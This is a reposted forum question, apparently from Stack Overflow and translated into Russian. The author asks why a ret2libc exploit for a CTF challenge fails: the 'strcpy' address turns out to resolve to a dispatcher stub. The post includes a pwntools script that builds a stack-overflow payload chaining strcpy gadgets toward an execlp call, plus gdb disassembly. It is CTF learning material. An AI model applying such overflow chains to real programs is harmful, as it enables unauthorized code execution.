Ret2libc strcpy не завершенPython

Программы на Python
Ответить
Anonymous
 Ret2libc strcpy не завершен

Сообщение Anonymous »

Я пытаюсь решить задачу CTF, для которой мне нужно использовать ret2libc. Проблема в том, что когда я пытаюсь использовать strcpy, чтобы поместить некоторый текст в буфер для дальнейшего использования, это, похоже, не работает.
Поле вызова все еще уязвимо для «ulimit -s неограниченный», поэтому мы можем исправить адреса libc . Вот мой текущий код Python:
from pwn import *

def r2lc_print(write_buff,read_buff):
strcpy_addr=0x55607a40
pop2ret=0x55643876
return p32(strcpy_addr)+p32(pop2ret)+p32(write_buff)+p32(read_buff)

buffer_size=172
execlp_addr=0x55643970

c00_str_addr=0x55575d37
a00_str_addr=0x55575d5e
t00_str_addr=0x55575440
write_buff=0x55576858

print cyclic(buffer_size)+r2lc_print(write_buff,c00_str_addr)+r2lc_print(write_buff,a00_str_addr)+r2lc_print(write_buff,t00_str_addr)+"A"*4

Я получил адрес strcpy, введя «p strcpy» внутри gdb.
Проблема в том, что strcpy не кажется завершенным, поскольку ни один из инструкции или вызовы выполняют любое перемещение данных:
0x55608320 : push ebx
0x55608321 : call 0x556b5c63
0x55608326 : add ebx,0x127cce
0x5560832c : cmp DWORD PTR [ebx+0x368c],0x0
0x55608333 : jne 0x5560833a
0x55608335 : call 0x555a48b0
0x5560833a : lea eax,[ebx-0x120e54]
0x55608340 : test DWORD PTR [ebx+0x36a0],0x4000000
0x5560834a : je 0x55608370
0x5560834c : lea eax,[ebx-0x117f14]
0x55608352 : test DWORD PTR [ebx+0x36bc],0x10
0x5560835c : jne 0x55608370
0x5560835e : test DWORD PTR [ebx+0x369c],0x200
0x55608368 : je 0x55608370
0x5560836a : lea eax,[ebx-0x11f554]
0x55608370 : pop ebx
0x55608371 : ret


Подробнее здесь: https://stackoverflow.com/questions/395 ... t-complete
Ответить

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

Вернуться в «Python»